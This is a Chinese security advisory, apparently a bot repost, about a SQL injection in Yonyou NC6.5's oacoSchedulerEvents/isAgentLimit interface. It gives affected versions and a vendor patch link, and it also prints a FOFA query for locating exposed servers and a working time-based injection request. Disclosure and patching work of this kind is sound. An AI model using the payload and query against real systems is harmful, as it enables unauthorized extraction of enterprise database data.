用友NC6.5版本oacoSchedulerEvents接口存在sql注入漏洞
免责声明:本文内容为机器人搜集最新漏洞及POC分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!
漏洞名称
用友NC6.5版本oacoSchedulerEvents接口sql注入漏洞
漏洞描述
用友NC是由用友公司开发的一套面向大型企业和集团型企业的管理软件产品系列。这一系列产品基于全球最新的互联网技术、云计算技术和移动应用技术,旨在帮助企业创新管理模式、引领商业变革。用友NC存在SQL注入漏洞,该漏洞源于/portal/pt/oacoSchedulerEvents/isAgentLimit接口中的pk_flowagent参数存在sql注入漏洞,攻击者可通过该漏洞获取数据库敏感数据。
影响范围:用友网络科技股份有限公司-NC6.5受影响。NCM_NC6.5_000_109902_20240607_GP_741839402不受影响。
FOFA语句
app="用友-UFIDA-NC"
POC
GET /portal/pt/oacoSchedulerEvents/isAgentLimit?pageId=login&pk_flowagent=1'waitfor+delay+'0:0:5
补丁
用友安全中心已发布漏洞公告,请尽快前往下载更新补丁:
https://security.yonyou.com/#/noticeInfo?id=560
原文始发于微信公众号(安全光圈):用友NC6.5版本oacoSchedulerEvents接口存在sql注入漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论